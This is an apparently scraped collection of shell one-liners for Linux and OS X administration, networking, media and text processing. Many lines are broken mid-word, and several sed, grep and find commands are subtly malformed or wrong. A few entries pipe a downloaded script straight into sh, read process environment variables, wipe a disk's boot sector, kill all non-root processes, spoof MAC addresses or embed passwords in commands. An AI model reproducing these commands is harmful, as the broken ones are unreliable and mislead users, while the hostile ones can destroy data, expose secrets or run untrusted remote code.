# Find files modified in the last N days; list sorted by time
find . -type f -mtime -14 -exec ls -ltd {} \; | less

# Get IPv4 of eth0 for use with scripts
ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}'

# Join avi files
cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -for
ceidx -oac copy -ovc copy output.avi -o output_final.avi; rm output.avi

# copying data with cpio
find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /de
stination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio

# Calculating series with awk: add numbers from 1 to 100
awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null

# Rename all images in current directory to filename based on year, month, day a
nd time based on exif information
exiftool -d %Y-%m-%d_%H.%M.%S%-c.%e "-filename<CreateDate" .

# Finds the track no of songs, to be played
mpc playlist | grep -in bar

# Stripping ^M at end of each line for files
perl -pi -e 's:^\V^M::g' <filenames>

```

```

# Change permissions of every directory in current directory
find . -type d -exec chmod 755 {} \;

# Lists unambiguously names of all xml elements used in files in current director
Y
grep -Eho '<[a-zA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2-

# netstat with group by (ip adress)
netstat -nt | awk -F":" '{print $2}' | sort | uniq -c

# Run command in an ftp session
ftp>!w

# Remind yourself every 15 minutes (repeated reminders)
watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'"

# find all file larger than 500M
find / -type f -size +548576 -printf "%s:%h%f\n"

# Print all lines from a file that has the same N th and M th column
awk '$3==$4' /etc/passwd

# See which files differ in a diff
diff dir1 dir2 | diffstat

# Remove the boot loader from a usb stick
dd if=/dev/zero of=/dev/sdb bs=446 count=1

# Makes a project directory, unless it exists; changes into the dir, and creates
an empty git repository, all in one command
gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; els
e cd "$@" && git init; fi }

# Zenity percent progressbar for scripts accepting parameters
(for FILE in $@; do echo ${100*++x/$#}; command-for-each-parameter; done)|zenity
--progress --auto-close

# monitor the last command run
watch !!

# Shows the largest files in your archives
tar -tvjf backup.tar.bz2 | sort -nrk 3 | head

# Safely store your gpg key passphrase.
pwsafe -qa "gpg keys". "$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')'"

# Test if the given argument is a valid ip address.
perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shif
t=~m/^\$p\.\$p\.\$p\.\$p$/)?1:0);' 123.123.123.123

# Receiving alerts about commands who exit with failure
export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'

# floating point bash calculator w/o precision
b(){ echo "scale=${2:-2}; $1" | bc -l; }

# Show thermal info
cat /proc/acpi/thermal_zone/*/temperature

```

```

# hexadecimal dump of a file as it is on disk with hexadecimal offsets
od --format=x1 --address-radix=x mybinaryfile

# DNS cache snooping
for i in `cat names.txt`; do host -r $i [nameserver]; done

# show your private/local ip address
ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1

# Generate random valid mac addresses
macchanger -A (nic)

# use ethereal to generate a pcap file of a VOIP call
tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap

# Removing sensitive data from the entire repo history.
git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove'
HEAD

# Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard)
sudo env ARCHFLAGS="-arch x86_64" gem install mysql

# find out about a process
cat /proc/<PID>/environ

# Remove all directories less than 1 MB in size in or below current directory
find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\\.]\+K
[\t ]\+//\+' | tr "\n" "\0" | xargs -0 rm -rf

# stdin speaker via espeak
awk '{print}' | espeak -v pt -stdin

# show how much disk space all images in a given directory need
find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -i
name \*gif -print0 \) | du -cm --files0-from - | tail -1

# Create a virtual disk (CD/DVD) in VirtualBox
VBoxManage openmedium dvd "/path/name.iso"

# get tor bridges
lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\\.][0-9\\.]*:[0-9
][0-9]*/!d'

# Check if your domain name is susceptible to axfr attacks.
dig @somenameserver.net somedomainname.net axfr

# Find the package a command belongs to on debian-based distros
function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; }

# find specified directory and delete it recursively including directories with
spaces
find . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {}

# Execute a command with the last parameter of a previous command
ls !$

# kill some process (same as others) but parsing to a variable
pkill -9 -f program

```

```

# Reverse DNS lookups
sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*)\.\./4.\3.\2.\1\5/' \ lookups.txt

# find files in $PATH that were not installed through dpkg
echo -e "${PATH//:/\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } | grep -F xv -f /tmp/installedinpath

# floating point shell calculator
calc() { awk 'BEGIN { OFMT="%f"; print "$*"; exit}'; }

# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log

# Download all PDFs from an authenticated website
wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/**/download/

# 'micro' ps aux (by mem/cpu)
ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0"

# A command's package details
function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; }

# grep selectively
find /path -name *.php -user nobody -exec grep -nH whatever {} \;

# List installed rpm named and architecture.
rpm -qa --queryformat "%{NAME} %{ARCH}\n"

# Play music from pure data
sudo cat /usr/share/icons/**/* > /dev/dsp

# List files and sizes
find / -type f -exec wc -c {} \; | sort -nr | head -100

# show current directory
xdg-open .

# Open your application to a specific size and location
command -geometry 120x30+1280+0

# upload a file via ftp
curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/

# Using numsum to sum a column of numbers.
echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) ))

# Create a log file of Nvidia graphics card temperatures using nvidia-smi
logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep Temperature | awk -F: ' { print $2 } ' | cut -c2-4 | tr "\n" " ");echo "${timestamp} ${temps}" >> ${logfile}

# encode a text to url_encoded format

```



```

perl -MURI::Escape -e 'print uri_escape("String encoded to a url");'

# Convert pkcs12 Certificate to ASCII for use in PHP
openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12

# find pictures and renames them appending the containing folder name
find <folder> -type f -name '*.jpg' -exec bash -c 'ext="{0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//)";folder="$(dirname "$0"|tr / \\n |tail -1)";new="{path}/{name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;

# Check if the files in current directory has the RPATH variable defined
for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i; done

# Launch an interactive shell with special aliases and functions.
bash --rcfile /a/special/bashrc

# Switch on eeepc camera
sudo echo 1 > /proc/acpi/asus/camera

# Find out if MySQL is up and listening on Linux
netstat -tap | grep mysql

# Sorting by rows
infile=$1 for i in $(cat $infile) do      echo $i | tr "," "\n" | sort -n | tr "\n" ", " | sed "s/,,$//"      echo done

# Command to display how much resource is taken by cpu and which core is taking
pidstat -C "ffmpeg" -u

# Match a URL
echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[\^s(<>|<?>|([w\d]+)|([^[[:punct:]]\s|/)))"

# List last opened tabs in firefox browser
grep -Eo '"entries":\[{ "url": "[^"]*" ' "$HOME/.mozilla/firefox/*.default/sessions.tore.js" | sed 's/^\.*: //; s/"$//'

# let the cow suggest some commit messages for you
while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.*?)</p>}s' | cowsay; sleep 2; done

# Sets performance CPU governer of all cores of a 4-core CPU.
for i in {0..3}; do cpufreq-set -c $i -g performance; done

# Convert a batch of images to a Video
mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4 -o number_video.mp4

# Spelling Suggestion
curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)</Result>.*\1/p'

# 'micro' ps aux (by mem/cpu)
ps -o user,%cpu,%mem,command

# Display an updating clock in sh variants
while true; do date; sleep 1; done

# Search through files, ignoring .svn

```

```

ack -ai 'searchterm'

# Simulate typing
echo "pretty realistic virtual typing" | randtype -m 4

# remove script from infected html files
grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g'

# find all file larger than 500M
find . -type f -size +500M -exec du {} \; | sort -n

# Search and install true type fonts under user home directory
find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f

# search google from command line
function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; }

# Check if your webserver supports gzip compression with curl
if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'Content-Encoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi

# Query wikipedia over DNS
wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }

# Flush DNS cache on OS X 10.5 Leopard
dscacheutil -flushcache

# Watch number of lines being processed on a clear screen
cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}'

# get the IP connected to the server (usefull to detect IP that should be blocked)
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

# Get parent directory path
dirname `pwd`

# find php files even without extension
find . -exec grep -q '<?php' {} /dev/null \; -ls

# Kill all processes that don't belong to root/force logoff
for i in $(pgrep -v -u root);do kill -9 $i;done

# convert string to array
s="124890";for i in $(seq 0 1 ${#s}-1); do arr[$i]=${s:$i:1}; done

# FInd the 10 biggest files taking up disk space
find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2

# telling you from where your commit come from
function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;}

# Check for orphaned python files
find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*(pyc|pyo)' -prune -o -print \) | qfile -o -f -

```

```
# speak a chat log file while it's running
tail -f LOGFILE | perl -ne ``say "$_"``;

# find php files even without extension
grep -Ilr "<?php" .

# look for a header reference in a shared library
strings libc-2.2.5.so | grep stat.h

# check rpm pkg content w/o installation
rpm -qlp <package.rpm>

# Hide files and folders on GNOME Desktop.
gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0

# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^\.*\./' |sort -f |uniq -i

# join every five lines
seq 20 | awk 'ORS=NR%5?FS:RS'

# Clears Firefox` cache without clicking around
rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm
_cache'

# modify (mozldap) with proxy authentication and no other controls
ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ..
.

# Extract names and email addresses from LDIF files
grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //'

# clear stale favicons in firefox
sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id
=null where favicon_id = (select p.favicon_id from moz_bookmarks b join moz_plac
es p on b.fk = p.id where b.title = 'Broken');"

# group every five lines
awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt

# mysql: Convert MyISAM tables to InnoDB via mysqldump
mysqldump | sed -e 's/^( ENGINE=MyISAM/) ENGINE=InnoDB/'

# cpuinfo
cat /proc/cpuinfo

# List shared libraries recognized by the system
ldconfig -p | grep <somenewlib.so>

# convert string to array
s=124890; array=( $(echo $s | sed 's/./& /g') ); echo ${array[@]}; echo ${!array[@
]}

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2

# Convert movie to psp format
ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M
```

4V00002.MP4

```
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}"
```

```
# MySQL: Slice out a specific database (assumes existence of the USE statement)
from mysqldump output
sed -n "/^USE `employees`/,/^USE `/p"
```

```
# make a samba shared folder writable, when doing an svn commit on OSX
chflags -R nouchg ./
```

```
# Summarize size of all files of given type in all subdirectories (in bytes)
SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/
null | cut -f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM"
```

```
# ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t
222222' -an mm.flv
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 2
22222' -an mm.flv
```

```
# Fewer keystrokes to search man page of command
function mg(){ man ${1} | egrep ${2} | more; }
```

```
# sudo for launching gui apps in background
sudo -b xterm
```

```
# hard link file for Windows
fsutil hardlink creat new_file exits_file
```

```
# bash function for convenient 'find' in subversion working directories
svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }
```

```
# Link all the files in this directory to that directory
cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done
```

```
# Change size of lots of image files. File names are read from a text file.
( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist
```

```
# @mail.com by adding the line in list.txt
while read line; do echo -e "$line@mail.com"; done < list.txt
```

```
# Generate a random number in a range
START=20; END=50 echo $((($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))
```

```
# Remove unused libs/packages
aptitude remove $(deborphan)
```

```
# command line to optimize all table from a mysql database
mysqlcheck -op -u<user> <db>
```

```
# Find artist and title of a music cd, UPC code given (first result only)
curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \\/release\
/ | head -2 | tail -1 | sed -e 's/^\<div>.*\(.*)\</a>\</div>/\1/'
```

```
# MySQL: Slice out a specific table from a specific database (assumes existence
of the USE statement) from output of mysqldump
mysqldump | sed -n "/^USE `employees`/,/^USE `/p" | sed -n "/^-- Table struct
ure for table `departments`/,/^-- Table structure for table/p"
```

```
# Delete all active Brightbox cloud servers
for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightb
ox-servers destroy $server;done

# use the short username by default for network authentication
defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName
-bool YES

# Stop Mac OSX from creating .DS_Store files when interacting with a remote file
server with the Finder
defaults write com.apple.desktopservices DSDontWriteNetworkStores true

# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -b-32

# simple du command to give size of next level of subfolder in MB
du --max-depth=1 -B M |sort -rn

# Dump MySQL to File
mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sq
l

# MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces
:
cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g'

# Destroy all unmapped Brightbox Cloud IPs
for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbo
x-cloudips destroy $ip;done

# Find the process ID of such program:
pgrep xterm

# list files not owned by any user or group
find / -nouser -o -nogroup -print

# Emulate a dual-screen using vnc
x2vnc {-west|-east|-north|-south} computer-ip:display-number

# Count occurrences of a word/token in a file
find . -name file.txt | xargs -e grep "token" -o | wc -l

# reassign pipe key from AltGr-1 to AltGr-7 in X11
xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ; xm
odmap -e 'keycode 16 = 7 slash bar seveneighths bar seveneighths'

# Delete the previous entry in your history
alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))'

# Convert encoding of a file
iconv -f utf8 -t utf16 /path/to/file

# Install unrar on Linux box from sources
cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz un
rarsrc-4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; mak
e ; make install

# Remove the first line containing 'match' from file
sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file
```

```

# MySQL: normalize parameter names on my.cnf configuration file
cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "~placeholder~=") {print}' | awk -F "~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1 "=" $2}'

# Erase empty files
find . -size 0 -exec rm '{}' \;

# generate random password
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q

# Check if zip files from current directory are good
find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \;

# Merge various PDF files
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf

# convert chrome html export to folders, links and descriptions
grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT> //' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\\"//g' | sed 's/^[ \t]* //' | tr '<A HREF' '<a href'

# Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC"

# Which PATH variable should I use for this script?
whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }

# Create a backup of the file.
cp path/filename{,-$(date +%Y-%m-%d)}

# Empty a file
> [filename].txt

# Find out what files are changed or added in a git repository.
git log --name-only | less

# replace deprecated php-function split in php files
sed -i s/split\(\/explode\(\/ whatever.php

# Source multiline grep with pcregrep
pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\\]*\)" source.sql

# Recursive source regexp search with pcregrep
pcregrep -r --exclude_dir='.svn' --include='.*jsp$' -A 2 -B 2 --color "pHtmlHome" .

# redirecting stdout of multiple commands
{ command1 args1 ; command2 args2 ; ... }

# Execute the command given by history event number
!

```

```

export LANG=C; grep string longBigFile.log

# convert flv into avi file and mp3 sound
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi

# Read just the IP address of a device
ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null

# Extracts PDF pages as images
convert in.pdf out.jpg

# Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/..& /g' -e 's/ -//'
```

```

# Count new mail
mail -H | grep '^U' | wc -l

# read old reversion of file
cvs up -r1.23 -p main.cpp | vim -

# print an 'hello world'
echo 'hello world'
```

```

# a function to find the fastest free DNS server
timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.15
3.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do (
{ echo -n "$x "; dig @"$x" "$*" | grep Query ; } | sponge &) done ; } | sort -n -k5
; }
```

```

# locate a filename, make sure it exists and display it with full details
locate -e somefile | xargs ls -l
```

```

# Check syntax of all Perl modules or scripts underneath the current directory
for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done
```

```

# Use a variable in a find command. Useful in scripting.
find . -iname \*${MYVAR}\* -print
```

```

# Get the amount of users currently registered at the DudaLibre.com Linux Counte
r.
curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | he
ad -2 | tail -1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g'
```

```

# List your MACs address
echo | ifconfig | grep HWaddr
```

```

# reverse order of file
printf "g/^/m0\nw\nq"|ed $FILE
```

```

# Put at the end of the rsa public key an comment(default value is the hostname)
ssh-keygen -C hello@world
```

```

# List all packages with no dependencies (yum based system)
package-cleanup --leaves --all
```

```

# grep or
egrep 'string1|string2' file
```

```

# Send Disk usage via email
```

```

#!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tm
p/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@ema
il.com

# reload config
source .bashrc

# Install everything with the prefix pidgin or whatever
apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y in
stall

# Make a HTTP request using curl with POST method
curl --verbose -d "hello=world" http://mydomain.com

# Download entire website for offline viewing
$ wget --mirror -p --convert-links -P ./<LOCAL-DIR> <WEBSITE-URL>

# search for files or directories, then show a sorted list of just the unique di
rectories where the matches occur
for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq

# Send SNMP traps
sudo snmptrap -m ALL -v 2c -c public trapserver " UCD-DEMO-MIB::ucdDemoPublic S
NMPv2-MIB::sysLocation.0 s "Just here"

# FINDING PCI DEVICES
/sbin/lspci (-v is verbose)

# make directory
mkdir /tmp/dir1/{0..20}

# Current sub-folders sizes
du -sh *

# Rearrange words from a file
perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile

# Converts ext2 to ext3
tune2fs -j /dev/sdX

# Find Man pages for everything in your $PATH
unset MANPATH; manpath >/dev/null

# Use a variable in a find command. Useful in scripting.
find "$1" -iname "*$2*"

# Locate config files of the program
strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2

# unbuffered tcpdump
tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primi
tives]' [X|XX]

# remove files of a specific size
find . -size 1400c -exec rm {} \;

# fetch 1600 jokes from robsjokes.com into a single file, which is fortunate
for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html |
sed '/Random Joke/,/Next Joke!/d' | sed '/^$/ ,/^$/!d' >> ~/temp/Rob.jokes ; ech
o '%' >> ~/temp/Rob.jokes ; done

```



```

# add all files not under version control to repository
svn add $(svn st|grep ^\?|cut -c2-)

# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist

# install package which provides some libraries in fedora
yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[0-9.]*-.*$/\1/' | sort | uniq | xargs yum -y install

# get newest file in current directory
find . -maxdepth 1 -printf '%A@%t%p\n' | sort -r | cut -f 2,2 | head -1

# Set executable permissions only to executable files
while IFS= read -r -u3 -d '$'\0' file; do file "$file" | egrep -q 'executable|ELF' && chmod +x "$file"; done 3< <(find . -type f -print0)

# recursively change file name extensions
find . -type f -name '*.c' | while read f; do mv $f "`basename $f .c`.C"; done

# Compare a file with the output of a command or compare the output of two commands
vimdiff foo.c <(bzip2 -r revno:-2 foo.c)

# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};

# Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6
sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6

# Iterate through a file where instead of Newline characters, values are separated with a non-white space character.
while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done

# File without comments or blank lines.
gawk '!/^[\t\ ]*#/{print $0}' filename | strings

# Total procs, avg size (RSS) and Total mem use
ps awwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}'

# dos2unix
$ perl -pi -e 's/\r\n/\n/g' <filename>

# Copy files from list with hierarchy
cat files.txt | xargs tar -cv | tar -x -c $DIR/

# Get number of diggs for a news URL
curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whatever.com&type=json" | python -m simplejson.tool | grep diggs

# Mount Windows shared folder (or Samba share)
smbmount //<ip>/<resource> <local_mount_point>

# Kill all windows in one go in gnu screen
bindkey ^f at "#" kill

```

```
# To convert **.wav to **.mp3 using LAME running one process per CPU core run:
parallel -j+0 lame {} -o {}.mp3 ::: *.wav

# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 2
55 characters)

# Kill a process by its partial name
killall -r 'a regular expression'

# Add DuckDuckGo Search as search provider on gnome-shell
cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed "s/www.googl
e.com\/search\/duckduckgo.com\/; s/Google/DuckDuckGo/g" > duckduckgo.xml

# make directory
$ mkdir -p /tmp/dir1/{0..20}

# alias dir to ls -al
alias dir="ls -al"

# Backup your precious Tomato Router Stats
curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http
_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz

# List all mounted drives and their accompanying partitions from OS X Terminal
diskutil list

# Count files by extension
find . -type f | sed -n 's/.*\./p' | sort -f | uniq -ic

# Clear IPC Message Queue
ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm

# Convert a DMG file to ISO in OS X Terminal
hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso

# How to get full tread dump for java process
kill -3 PID

# Check the MD5
diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2
) '|awk '/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}')

# Passwordless mysql{,dump,admin} via my.cnf file
echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf

# Test network performance, copying from the mem of one box, over the net to the
mem of another
dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other ho
st nc -l port >/dev/null

# Check if a .no domain is available
check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenav
nbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "avai
lable" ; fi ; sleep 1 ;done }

# Convert an ISO file to DMG format in OS X Terminal
hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg
```

```

# File without comments or blank lines.
sed 's/[[:blank:]]*#.*/;/ ^$/d' filename

# Concating pdf files
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.
pdf 2.pdf 3.pdf 4.pdf

# capture screen and mic
ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq
out.mp4

# change mac address
ifconfig eth0 hw ether 00:11:22:33:44:55

# Create a file list of all package files installed on your Red-Hat-like system
for easy grepping
for i in `rpm -qva | sort ` ; do ; echo "=====$i====" ; rpm -qvl $i ; done >
/tmp/pkgdetails

# Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed
for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tag
s=bitch,bw 2>/dev/null | grep -E -o "http[^\ ]+?jpg" | grep -v "_m" | uniq | grep
-v 'buddy' ` ; do FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.\jpg"`; curl $URL >
$FILE; done;

# lists contents of a tar file
tar -tf /path/to/file.tar

# Enable NetworkManager (in KDE)
dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/free
desktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true

# MSDOS command to check existance of command and exit batch if failed
<command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or c
heck PATH variable! & pause & exit )

# Test your total disk IO capacity, regardless of caching, to find out how fast
the TRUE speed of your disks are
time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1

# ruby one-liner to get the current week number
ruby -e 'require "date"; puts DateTime.now.cweek'

# download and run script from trusted webserver
wget -qO - sometrusted.web.site/tmp/somecommand | sh

# Compile python script. Generated file will overwrite anything at /path/to/scri
pt.pyc
python -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py"
)');

# move contents of the current directory to the parent directory, then remove cu
rrent directory.
mv -n * ../; cd ../; rmdir $OLDPWD

# Find all videos under current directory using MIME a.k.a not using extension
allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" |
cut -d: -f1; }

```

```

# moreplayingaround
curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep
title|sed -ne 's/<\/*title>\/gp' |festival --tts

# Strip out time difference entries when verifying rpms on x86_64 RHEL systems
rpm -Va | grep -v "\.\.\.\.\.\.\.T"

# Generate Random Passwords
dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9
]//g' | cut -c-16

# Consistent Oracle Datapump Export
expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database
;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)

# Disaster Snapshot (procmail)
for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%
H%M%S"` ; ssh -q -t admin@$x.domain.com 'pstree -aunl' > ~/snapshots/$x-$t.out \
done

# Calculate the size in MB of all files of a certain extension
